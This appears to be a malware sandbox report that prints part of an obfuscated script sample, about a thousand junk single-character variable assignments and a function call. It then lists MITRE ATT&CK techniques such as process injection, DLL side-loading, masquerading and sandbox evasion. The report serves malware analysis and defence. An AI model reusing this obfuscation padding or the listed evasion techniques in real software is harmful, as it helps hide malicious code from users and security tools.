384	kndmm = "s";
385	kndmm = "J";
386	kndmm = "Y";
387	kndmm = "T";
388	kndmm = "c";
389	kndmm = "a";
390	kndmm = "G";
391	kndmm = "h";
392	kndmm = "O";
393	kndmm = "S";
394	kndmm = "T";
395	kndmm = "u";
396	kndmm = "B";
397	kndmm = "T";
398	kndmm = "P";
399	vfpir = "v";
400	vfpir = "H";
401	vfpir = "d";
402	vfpir = "g";
403	vfpir = "t";
404	vfpir = "Q";
405	vfpir = "x";
406	vfpir = "w";
407	vfpir = "E";
408	vfpir = "z";
409	vfpir = "w";
410	kweaulfd = "J";
411	kweaulfd = "z";
412	kweaulfd = "l";
413	kweaulfd = "s";
414	kweaulfd = "B";
415	kweaulfd = "v";
416	kweaulfd = "M";
417	kweaulfd = "i";
418	kweaulfd = "J";
419	kweaulfd = "p";
420	kweaulfd = "T";
421	kweaulfd = "W";
422	kweaulfd = "p";
423	kweaulfd = "I";
424	kweaulfd = "Q";
425	kweaulfd = "H";
426	kweaulfd = "r";
427	kweaulfd = "X";
428	kweaulfd = "C";
429	kweaulfd = "H";
430	kweaulfd = "P";
431	kweaulfd = "V";
432	kweaulfd = "Y";
433	kweaulfd = "G";
434	kweaulfd = "V";
435	kweaulfd = "F";
436	kweaulfd = "c";
437	kweaulfd = "H";
438	kweaulfd = "u";
439	kweaulfd = "p";
440	kweaulfd = "R";
441	kweaulfd = "k";
442	kweaulfd = "T";
443	kweaulfd = "H";
444	kweaulfd = "F";
445	kweaulfd = "z";
446	kweaulfd = ".";
447	fyczgitr = "l";
448	fyczgitr = "X";
449	fyczgitr = "v";
450	fyczgitr = "q";
451	fyczgitr = "g";
452	fyczgitr = "C";
453	fyczgitr = "K";
454	fyczgitr = "o";
455	fyczgitr = "s";
456	fyczgitr = "r";
457	fyczgitr = "K";
458	bjuchs = "r";
459	bjuchs = "A";
460	bjuchs = "b";
461	bjuchs = "R";
462	bjuchs = "v";
463	bjuchs = "o";
464	bjuchs = "T";
465	bjuchs = "u";
466	bjuchs = "B";
467	bjuchs = "D";
468	bjuchs = "k";
469	bjuchs = "N";
470	bjuchs = "P";
471	bjuchs = "m";
472	bjuchs = "V";
473	bjuchs = "R";
474	bjuchs = "u";
475	bjuchs = "z";
476	bjuchs = "E";
477	bjuchs = "P";
478	bjuchs = "c";
479	bjuchs = "X";
480	bjuchs = "D";
481	bjuchs = "t";
482	bjuchs = "J";
483	bjuchs = "E";
484	bjuchs = "p";
485	bjuchs = "U";
486	bjuchs = "q";
487	bjuchs = "t";
488	bjuchs = "Q";
489	bjuchs = "S";
490	bjuchs = "p";
491	bjuchs = "I";
492	bjuchs = "b";
493	bjuchs = "H";
494	bjuchs = "%";
495	egwvh = "Z";
496	egwvh = "Q";
497	egwvh = "x";
498	egwvh = "Y";
499	egwvh = "N";
500	egwvh = "Y";
501	egwvh = "T";
502	egwvh = "X";
503	egwvh = "U";
504	egwvh = "A";
505	egwvh = "b";
506	egwvh = "z";
507	egwvh = "l";
508	egwvh = "Z";
509	egwvh = "m";
510	egwvh = "f";
511	egwvh = "g";
512	egwvh = "s";
513	egwvh = "u";
514	egwvh = "o";
515	egwvh = "t";
516	egwvh = "r";
517	egwvh = "g";
518	egwvh = "f";
519	veyeu = "I";
520	veyeu = "J";
521	veyeu = "h";
522	veyeu = "P";
523	veyeu = "Y";
524	veyeu = "H";
525	veyeu = "s";
526	veyeu = "N";
527	rnsby = "p";
528	rnsby = "Q";
529	rnsby = "f";
530	rnsby = "l";
531	rnsby = "k";
532	rnsby = "q";
533	srjzw = "j";
534	srjzw = "N";
535	srjzw = "d";
536	srjzw = "T";
537	srjzw = "P";
538	srjzw = "S";
539	srjzw = "a";
540	srjzw = "D";
541	srjzw = "b";
542	srjzw = "V";
543	srjzw = "P";
544	srjzw = "I";
545	srjzw = "I";
546	srjzw = "b";
547	srjzw = "A";
548	srjzw = "C";
549	srjzw = "N";
550	srjzw = "n";
551	srjzw = "Y";
552	srjzw = "h";
553	srjzw = "Q";
554	srjzw = "e";
555	srjzw = "Z";
556	srjzw = "o";
557	srjzw = "g";
558	srjzw = "U";
559	srjzw = "s";
560	srjzw = "q";
561	srjzw = "S";
562	srjzw = "W";
563	srjzw = "Z";
564	srjzw = "U";
565	srjzw = "l";
566	srjzw = "B";
567	srjzw = "c";
568	srjzw = "P";
569	srjzw = "t";
570	srjzw = "I";
571	srjzw = "e";
572	srjzw = "Z";
573	srjzw = "F";
574	lxzqdy = "Q";
575	lxzqdy = "T";
576	lxzqdy = "y";
577	lxzqdy = "K";
578	lxzqdy = "J";
579	lxzqdy = "X";
580	lxzqdy = "V";
581	lxzqdy = "o";
582	lxzqdy = "S";
583	lxzqdy = "S";
584	lxzqdy = "P";
585	lxzqdy = "O";
586	lxzqdy = "k";
587	lxzqdy = "J";
588	lxzqdy = "X";
589	lxzqdy = "w";
590	lxzqdy = "b";
591	lxzqdy = "C";
592	lxzqdy = "S";
593	lxzqdy = "A";
594	lxzqdy = "P";
595	lxzqdy = "J";
596	lxzqdy = "u";
597	lxzqdy = "g";
598	lxzqdy = "X";
599	lxzqdy = "U";
600	lxzqdy = "p";
601	lxzqdy = "T";
602	lxzqdy = "k";
603	lxzqdy = "L";
604	lxzqdy = "o";
605	lxzqdy = "R";
606	puimo = "T";
607	puimo = "N";
608	puimo = "g";
609	puimo = "v";
610	puimo = "P";
611	puimo = "C";
612	puimo = "r";
613	puimo = "b";
614	puimo = "h";
615	puimo = "c";
616	puimo = "F";
617	puimo = "z";
618	puimo = "t";
619	puimo = "C";
620	puimo = "w";
621	puimo = "A";
622	puimo = "X";
623	puimo = "u";
624	puimo = "H";
625	puimo = "w";
626	puimo = "M";
627	puimo = "k";
628	puimo = "b";
629	puimo = "R";
630	puimo = "x";
631	puimo = "r";
632	puimo = "N";
633	puimo = "b";
634	puimo = "C";
635	puimo = "O";
636	puimo = "v";
637	puimo = "i";
638	puimo = "Q";
639	puimo = "r";
640	puimo = "g";
641	puimo = "Y";
642	puimo = "e";
643	puimo = "I";
644	puimo = "u";
645	puimo = "E";
646	gwmsje = "G";
647	gwmsje = "j";
648	gwmsje = "Z";
649	gwmsje = "K";
650	gwmsje = "w";
651	gwmsje = "u";
652	gwmsje = "p";
653	gwmsje = "o";
654	gwmsje = "o";
655	gwmsje = "n";
656	gwmsje = "m";
657	gwmsje = "B";
658	gwmsje = "q";
659	gwmsje = "R";
660	gwmsje = "A";
661	gwmsje = "R";
662	gwmsje = "b";
663	gwmsje = "h";
664	aguhxuwfh = "r";
665	aguhxuwfh = "a";
666	aguhxuwfh = "W";
667	aguhxuwfh = "j";
668	aguhxuwfh = "F";
669	aguhxuwfh = "A";
670	aguhxuwfh = "z";
671	aguhxuwfh = "r";
672	aguhxuwfh = "u";
673	aguhxuwfh = "O";
674	aguhxuwfh = "J";
675	aguhxuwfh = "W";
676	aguhxuwfh = "y";
677	aguhxuwfh = "a";
678	aguhxuwfh = "u";
679	aguhxuwfh = "u";
680	aguhxuwfh = "T";
681	aguhxuwfh = "a";
682	aguhxuwfh = "q";
683	aguhxuwfh = "o";
684	aguhxuwfh = "L";
685	aguhxuwfh = "C";
686	aguhxuwfh = "a";
687	aguhxuwfh = "L";
688	aguhxuwfh = "n";
689	aguhxuwfh = "L";
690	aguhxuwfh = "M";
691	aguhxuwfh = "h";
692	aguhxuwfh = "K";
693	aguhxuwfh = "z";
694	aguhxuwfh = "j";
695	aguhxuwfh = "S";
696	aguhxuwfh = "f";
697	aguhxuwfh = "I";
698	malehsak = "H";
699	malehsak = "C";
700	malehsak = "s";
701	malehsak = "D";
702	malehsak = "R";
703	malehsak = "B";
704	malehsak = "U";
705	malehsak = "t";
706	malehsak = "I";
707	malehsak = "c";
708	malehsak = "c";
709	malehsak = "H";
710	malehsak = "S";
711	malehsak = "t";
712	malehsak = "x";
713	malehsak = "t";
714	malehsak = "r";
715	malehsak = "I";
716	malehsak = "V";
717	malehsak = "z";
718	malehsak = "p";
719	malehsak = "l";
720	malehsak = "y";
721	malehsak = "I";
722	malehsak = " ";
723	sobxu = "v";
724	sobxu = "K";
725	sobxu = "J";
726	sobxu = "h";
727	sobxu = "s";
728	sobxu = "L";
729	sobxu = "O";
730	sobxu = "W";
731	sobxu = "V";
732	sobxu = "l";
733	sobxu = "G";
734	sobxu = "I";
735	sobxu = "g";
736	sobxu = "A";
737	sobxu = "o";
738	sobxu = "U";
739	sobxu = "n";
740	sobxu = "D";
741	sobxu = "W";
742	sobxu = "U";
743	sobxu = "f";
744	sobxu = "Z";
745	sobxu = "B";
746	sobxu = "a";
747	sobxu = "M";
748	sobxu = "r";
749	sobxu = "m";
750	sobxu = "y";
751	sobxu = "p";
752	sobxu = "U";
753	sobxu = "X";
754	sobxu = "g";
755	sobxu = "S";
756	sobxu = "Q";
757	sobxu = "T";
758	sobxu = "o";
759	sobxu = "U";
760	sobxu = "r";
761	sobxu = "A";
762	sobxu = "z";
763	sobxu = ":";
764	ltmrybgn = "i";
765	ltmrybgn = "k";
766	ltmrybgn = "y";
767	ltmrybgn = "r";
768	ltmrybgn = "L";
769	ltmrybgn = "g";
770	ltmrybgn = "f";
771	ltmrybgn = "r";
772	ltmrybgn = "a";
773	ltmrybgn = "O";
774	ltmrybgn = "m";
775	ltmrybgn = "q";
776	ltmrybgn = "F";
777	ltmrybgn = "h";
778	ltmrybgn = "F";
779	ltmrybgn = "g";
780	ltmrybgn = "B";
781	ltmrybgn = "N";
782	ltmrybgn = "I";
783	ltmrybgn = "h";
784	ltmrybgn = "C";
785	ltmrybgn = "e";
786	ltmrybgn = "J";
787	ltmrybgn = "K";
788	ltmrybgn = "B";
789	ltmrybgn = "I";
790	ltmrybgn = "p";
791	ltmrybgn = "j";
792	ltmrybgn = "G";
793	ltmrybgn = "D";
794	ltmrybgn = "E";
795	ltmrybgn = "S";
796	ltmrybgn = "c";
797	ltmrybgn = "m";
798	tgmap = "R";
799	tgmap = "s";
800	tgmap = "e";
801	tgmap = "k";
802	tgmap = "K";
803	tgmap = "W";
804	tgmap = "O";
805	tgmap = "R";
806	tgmap = "l";
807	tgmap = "b";
808	tgmap = "D";
809	tgmap = "G";
810	tgmap = "e";
811	tgmap = "J";
812	tgmap = "v";
813	tgmap = "x";
814	tgmap = "N";
815	tgmap = "m";
816	tgmap = "f";
817	tgmap = "y";
818	tgmap = "d";
819	tgmap = "r";
820	tgmap = "Y";
821	tgmap = "R";
822	tgmap = "c";
823	tgmap = "8";
824	ftfqk = "H";
825	ftfqk = "S";
826	ftfqk = "h";
827	ftfqk = "U";
828	ftfqk = "Y";
829	ftfqk = "u";
830	sfbungg = "N";
831	sfbungg = "p";
832	sfbungg = "k";
833	sfbungg = "b";
834	sfbungg = "l";
835	sfbungg = "Y";
836	sfbungg = "r";
837	sfbungg = "b";
838	sfbungg = "W";
839	sfbungg = "O";
840	sfbungg = "e";
841	sfbungg = "u";
842	sfbungg = "y";
843	sfbungg = "l";
844	symyzk = "I";
845	symyzk = "k";
846	symyzk = "w";
847	symyzk = "Q";
848	symyzk = "x";
849	symyzk = "O";
850	symyzk = "m";
851	symyzk = "y";
852	symyzk = "q";
853	symyzk = "b";
854	symyzk = "S";
855	symyzk = "o";
856	symyzk = "d";
857	symyzk = "Q";
858	symyzk = "s";
859	symyzk = "a";
860	symyzk = "M";
861	symyzk = "s";
862	symyzk = "n";
863	symyzk = "p";
864	psljhq = "I";
865	psljhq = "y";
866	psljhq = "S";
867	psljhq = "W";
868	psljhq = "M";
869	psljhq = "F";
870	psljhq = "g";
871	psljhq = "X";
872	psljhq = "X";
873	psljhq = "L";
874	psljhq = "n";
875	psljhq = "e";
876	psljhq = "e";
877	psljhq = "P";
878	psljhq = "k";
879	psljhq = "m";
880	psljhq = "c";
881	psljhq = "C";
882	psljhq = "L";
883	psljhq = "o";
884	sdbjlvzo = "k";
885	sdbjlvzo = "X";
886	sdbjlvzo = "R";
887	sdbjlvzo = "i";
888	sdbjlvzo = "y";
889	sdbjlvzo = "E";
890	sdbjlvzo = "m";
891	sdbjlvzo = "d";
892	sdbjlvzo = "I";
893	sdbjlvzo = "W";
894	sdbjlvzo = "A";
895	sdbjlvzo = "K";
896	sdbjlvzo = "b";
897	sdbjlvzo = "Q";
898	sdbjlvzo = "c";
899	sdbjlvzo = "S";
900	sdbjlvzo = "o";
901	sdbjlvzo = "T";
902	sdbjlvzo = "y";
903	sdbjlvzo = "i";
904	sdbjlvzo = "4";
905	cjoii = "K";
906	cjoii = "m";
907	cjoii = "Z";
908	cjoii = "P";
909	cjoii = "z";
910	cjoii = "w";
911	cjoii = "V";
912	cjoii = "6";
913	qbobsn = "Q";
914	qbobsn = "C";
915	qbobsn = "S";
916	qbobsn = "k";
917	qbobsn = "g";
918	qbobsn = "O";
919	qbobsn = "s";
920	qbobsn = "A";
921	qbobsn = "Z";
922	qbobsn = "m";
923	qbobsn = "X";
924	qbobsn = "f";
925	qbobsn = "o";
926	qbobsn = "y";
927	qbobsn = "W";
928	qbobsn = "Y";
929	qbobsn = "w";
930	qbobsn = "g";
931	qbobsn = "U";
932	qbobsn = "G";
933	qbobsn = "x";
934	qbobsn = "q";
935	qbobsn = "R";
936	qbobsn = "g";
937	qbobsn = "l";
938	qbobsn = "d";
939	qbobsn = "D";
940	qbobsn = "K";
941	qbobsn = "i";
942	xkmctslj = "w";
943	xkmctslj = "g";
944	xkmctslj = "j";
945	xkmctslj = "v";
946	xkmctslj = "t";
947	xkmctslj = "B";
948	xkmctslj = "O";
949	xkmctslj = "o";
950	xkmctslj = "Z";
951	xkmctslj = "g";
952	xkmctslj = "Y";
953	xkmctslj = "D";
954	xkmctslj = "B";
955	xkmctslj = "R";
956	xkmctslj = "v";
957	xkmctslj = "n";
958	xkmctslj = "I";
959	xkmctslj = "o";
960	xkmctslj = "n";
961	xkmctslj = "k";
962	xkmctslj = "X";
963	xkmctslj = "s";
964	xkmctslj = "r";
965	xkmctslj = "j";
966	xkmctslj = "d";
967	xkmctslj = "Y";
968	ffvvj = "s";
969	ffvvj = "e";
970	ffvvj = "g";
971	ffvvj = "P";
972	ffvvj = "C";
973	ffvvj = "G";
974	ffvvj = "h";
975	ffvvj = "S";
976	ffvvj = "T";
977	ffvvj = "W";
978	ffvvj = "a";
979	ffvvj = "C";
980	ffvvj = "u";
981	ffvvj = "i";
982	ffvvj = "Q";
983	ffvvj = "K";
984	ffvvj = "L";
985	ffvvj = "B";
986	ffvvj = "s";
987	ffvvj = "W";
988	ffvvj = "U";
989	ffvvj = "f";
990	ffvvj = "g";
991	ffvvj = "Y";
992	ffvvj = "i";
993	ffvvj = "J";
994	ffvvj = "n";
995	ffvvj = "o";
996	ffvvj = "K";
997	ffvvj = "m";
998	ffvvj = "I";
999	ffvvj = "x";
1000	hgcqcnah = "A";
1001	hgcqcnah = "V";
1002	hgcqcnah = "A";
1003	hgcqcnah = "Z";
1004	hgcqcnah = "m";
1005	hgcqcnah = "a";
1006	sahjud = "S";
1007	sahjud = "j";
1008	sahjud = "P";
1009	sahjud = "U";
1010	sahjud = "Z";
1011	sahjud = "P";
1012	sahjud = "x";
1013	sahjud = "Q";
1014	sahjud = "W";
1015	sahjud = "n";
1016	sahjud = "X";
1017	sahjud = "k";
1018	sahjud = "q";
1019	sahjud = "C";
1020	umhxhwe = "u";
1021	umhxhwe = "I";
1022	umhxhwe = "W";
1023	umhxhwe = "L";
1024	umhxhwe = "d";
1025	umhxhwe = "B";
1026	umhxhwe = "n";
1027	umhxhwe = "K";
1028	umhxhwe = "s";
1029	umhxhwe = "e";
1030	umhxhwe = "j";
1031	umhxhwe = "X";
1032	umhxhwe = "r";
1033	umhxhwe = "D";
1034	umhxhwe = "X";
1035	umhxhwe = "g";
1036	dlnequbuu = "K";
1037	dlnequbuu = "b";
1038	dlnequbuu = "c";
1039	dlnequbuu = "X";
1040	dlnequbuu = "k";
1041	dlnequbuu = "M";
1042	dlnequbuu = "L";
1043	dlnequbuu = "r";
1044	dlnequbuu = "t";
1045	dlnequbuu = "J";
1046	dlnequbuu = "U";
1047	dlnequbuu = "e";
1048	dlnequbuu = "W";
1049	dlnequbuu = "V";
1050	dlnequbuu = "S";
1051	dlnequbuu = "z";
1052	dlnequbuu = "b";
1053	dlnequbuu = "n";
1054	dlnequbuu = "f";
1055	dlnequbuu = "i";
1056	dlnequbuu = "I";
1057	dlnequbuu = "t";
1058	dlnequbuu = "p";
1059	dlnequbuu = "P";
1060	dlnequbuu = "s";
1061	dlnequbuu = "m";
1062	dlnequbuu = "Z";
1063	dlnequbuu = "i";
1064	dlnequbuu = "T";
1065	dlnequbuu = "s";
1066	dlnequbuu = "r";
1067	dlnequbuu = "N";
1068	dlnequbuu = "o";
1069	dlnequbuu = "s";
1070	dlnequbuu = "d";
1071	dlnequbuu = "E";
1072	dlnequbuu = "n";
1073	fwgdwv = "J";
1074	fwgdwv = "Q";
1075	fwgdwv = "i";
1076	fwgdwv = "G";
1077	fwgdwv = "E";
1078	fwgdwv = "y";
1079	fwgdwv = "C";
1080	fwgdwv = "r";
1081	fwgdwv = "N";
1082	fwgdwv = "s";
1083	fwgdwv = "M";
1084	fwgdwv = "y";
1085	fwgdwv = "s";
1086	fwgdwv = "u";
1087	fwgdwv = "r";
1088	fwgdwv = "I";
1089	fwgdwv = "R";
1090	fwgdwv = "E";
1091	fwgdwv = "F";
1092	fwgdwv = "Q";
1093	fwgdwv = "o";
1094	fwgdwv = "M";
1095	fwgdwv = "i";
1096	fwgdwv = "Z";
1097	fwgdwv = "T";
1098	fwgdwv = "h";
1099	fwgdwv = "f";
1100	fwgdwv = "S";
1101	fwgdwv = "V";
1102	fwgdwv = "V";
1103	fwgdwv = "i";
1104	fwgdwv = "U";
1105	fwgdwv = "P";
1106	fwgdwv = "@";
1107	fszoi = "G";
1108	fszoi = "b";
1109	fszoi = "Z";
1110	fszoi = "Y";
1111	fszoi = "H";
1112	fszoi = "v";
1113	fszoi = "E";
1114	fszoi = "Z";
1115	fszoi = "q";
1116	fszoi = "K";
1117	fszoi = "t";
1118	fszoi = "V";
1119	fszoi = "u";
1120	fszoi = "Z";
1121	fszoi = "r";
1122	fszoi = "u";
1123	fszoi = "S";
1124	fszoi = "g";
1125	fszoi = "j";
1126	fszoi = "C";
1127	fszoi = "R";
1128	fszoi = "i";
1129	fszoi = "G";
1130	fszoi = "h";
1131	fszoi = "E";
1132	fszoi = "K";
1133	fszoi = "I";
1134	fszoi = "a";
1135	fszoi = "v";
1136	jeztneh = "Z";
1137	jeztneh = "t";
1138	jeztneh = "c";
1139	jeztneh = "u";
1140	jeztneh = "G";
1141	jeztneh = "O";
1142	jeztneh = "e";
1143	jeztneh = "j";
1144	jeztneh = "c";
1145	jeztneh = "l";
1146	jeztneh = "w";
1147	jeztneh = "N";
1148	jeztneh = "/";
1149	plewcozjr = "Q";
1150	plewcozjr = "U";
1151	plewcozjr = "U";
1152	plewcozjr = "D";
1153	plewcozjr = "Y";
1154	plewcozjr = "T";
1155	plewcozjr = "D";
1156	plewcozjr = "Z";
1157	plewcozjr = "l";
1158	plewcozjr = "r";
1159	plewcozjr = "S";
1160	plewcozjr = "r";
1161	plewcozjr = "h";
1162	plewcozjr = "I";
1163	plewcozjr = "V";
1164	plewcozjr = "G";
1165	plewcozjr = "p";
1166	plewcozjr = "n";
1167	plewcozjr = "H";
1168	plewcozjr = "j";
1169	plewcozjr = "i";
1170	plewcozjr = "t";
1171	plewcozjr = "F";
1172	plewcozjr = "z";
1173	plewcozjr = "T";
1174	plewcozjr = "o";
1175	plewcozjr = "b";
1176	plewcozjr = "q";
1177	plewcozjr = "t";
1178	plewcozjr = "w";
1179	plewcozjr = "z";
1180	plewcozjr = "L";
1181	qfwnisu = "V";
1182	qfwnisu = "e";
1183	qfwnisu = "c";
1184	qfwnisu = "w";
1185	qfwnisu = "g";
1186	qfwnisu = "y";
1187	qfwnisu = "x";
1188	qfwnisu = "y";
1189	qfwnisu = "B";
1190	qfwnisu = "D";
1191	qfwnisu = "N";
1192	qfwnisu = "l";
1193	qfwnisu = "I";
1194	qfwnisu = "X";
1195	qfwnisu = "c";
1196	qfwnisu = "q";
1197	qfwnisu = "w";
1198	qfwnisu = "O";
1199	qfwnisu = "j";
1200	qfwnisu = "F";
1201	qfwnisu = "L";
1202	qfwnisu = "f";
1203	qfwnisu = "Y";
1204	qfwnisu = "m";
1205	qfwnisu = "y";
1206	qfwnisu = "B";
1207	qfwnisu = "N";
1208	qfwnisu = "h";
1209	qfwnisu = "M";
1210	qfwnisu = "j";
1211	qfwnisu = "v";
1212	qfwnisu = "F";
1213	qfwnisu = "P";
1214	qfwnisu = "s";
1215	qfwnisu = "e";
1216	iuxrepu = "T";
1217	opczmm = "p";
1218	opczmm = "Y";
1219	opczmm = "1";
1220	qfglh = "q";
1221	qfglh = "M";
1222	qfglh = "N";
1223	qfglh = "U";
1224	qfglh = "H";
1225	qfglh = "S";
1226	qfglh = "R";
1227	qfglh = "w";
1228	qfglh = "b";
1229	qfglh = "A";
1230	qfglh = "R";
1231	qfglh = "N";
1232	qfglh = "i";
1233	qfglh = "P";
1234	qfglh = "A";
1235	qfglh = "a";
1236	qfglh = "Z";
1237	qfglh = "o";
1238	qfglh = "F";
1239	qfglh = "e";
1240	qfglh = "v";
1241	qfglh = "P";
1242	qfglh = "I";
1243	qfglh = "A";
1244	qfglh = "A";
1245	qfglh = "_";
1246	grdbnuy = "r";
1247	grdbnuy = "n";
1248	grdbnuy = "O";
1249	grdbnuy = "Q";
1250	grdbnuy = "x";
1251	grdbnuy = "I";
1252	grdbnuy = "D";
1253	grdbnuy = "v";
1254	grdbnuy = "Q";
1255	hwrdrqvm = "w";
1256	hwrdrqvm = "t";
1257	hwrdrqvm = "r";
1258	hwrdrqvm = "b";
1259	hwrdrqvm = "L";
1260	hwrdrqvm = "y";
1261	hwrdrqvm = "B";
1262	hwrdrqvm = "b";
1263	hwrdrqvm = "s";
1264	hwrdrqvm = "y";
1265	hwrdrqvm = "k";
1266	hwrdrqvm = "Y";
1267	hwrdrqvm = "d";
1268	hwrdrqvm = "D";
1269	hwrdrqvm = "K";
1270	hwrdrqvm = "t";
1271	hwrdrqvm = "s";
1272	hwrdrqvm = "a";
1273	hwrdrqvm = "z";
1274	hwrdrqvm = "9";
1275	vmdjx = "m";
1276	vmdjx = "k";
1277	vmdjx = "p";
1278	vmdjx = "u";
1279	vmdjx = "U";
1280	vmdjx = "D";
1281	vmdjx = "R";
1282	vmdjx = "Y";
1283	vmdjx = "r";
1284	vmdjx = "E";
1285	vmdjx = "k";
1286	vmdjx = "t";
1287	vmdjx = "q";
1288	vmdjx = "X";
1289	vmdjx = "m";
1290	vmdjx = "s";
1291	vmdjx = "T";
1292	vmdjx = "A";
1293	vmdjx = "T";
1294	vmdjx = "W";
1295	vmdjx = "E";
1296	vmdjx = "l";
1297	vmdjx = "p";
1298	vmdjx = "X";
1299	vmdjx = "k";
1300	vmdjx = "H";
1301	vmdjx = "C";
1302	vmdjx = "V";
1303	vmdjx = "N";
1304	vmdjx = "t";
1305	vmdjx = "i";
1306	vmdjx = "r";
1307	ekdywhoo = "m";
1308	ekdywhoo = "L";
1309	ekdywhoo = "K";
1310	ekdywhoo = "W";
1311	ekdywhoo = "f";
1312	ekdywhoo = "m";
1313	ekdywhoo = "l";
1314	ekdywhoo = "o";
1315	ekdywhoo = "j";
1316	ekdywhoo = "B";
1317	ekdywhoo = "A";
1318	ekdywhoo = "l";
1319	ekdywhoo = "v";
1320	ekdywhoo = "t";
1321	ekdywhoo = "C";
1322	ekdywhoo = "z";
1323	ekdywhoo = "k";
1324	ekdywhoo = "J";
1325	ekdywhoo = "k";
1326	ekdywhoo = "Y";
1327	ekdywhoo = "I";
1328	ekdywhoo = "U";
1329	ekdywhoo = "K";
1330	ekdywhoo = "H";
1331	ekdywhoo = "W";
1332	ekdywhoo = "s";
1333	zpvitm = "o";
1334	zpvitm = "y";
1335	zpvitm = "w";
1336	zpvitm = "p";
1337	zpvitm = "p";
1338	zpvitm = "U";
1339	wclstkf = "d";
1340	tojend = "M";
1341	tojend = "B";
1342	tojend = "Q";
1343	tojend = "K";
1344	tojend = "e";
1345	tojend = "I";
1346	tojend = "O";
1347	tojend = "l";
1348	tojend = "X";
1349	tojend = "x";
1350	tojend = "x";
1351	tojend = "X";
1352	tojend = "r";
1353	tojend = "x";
1354	tojend = "u";
1355	tojend = "e";
1356	tojend = "d";
1357	tojend = "B";
1358	tojend = "P";
1359	tojend = "e";
1360	tojend = "N";
1361	tojend = "H";
1362	tojend = "E";
1363	tojend = "K";
1364	tojend = "C";
1365	tojend = "x";
1366	tojend = "J";
1367	tojend = "e";
1368	tojend = "P";
1369	tojend = "s";
1370	tojend = "Y";
1371	tojend = "S";
1372	tojend = "t";
1373	tojend = "X";
1374	tojend = "g";
1375	tojend = "u";
1376	tojend = "G";
1377	tojend = "3";
1378	hwemeg ( );	hwemeg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
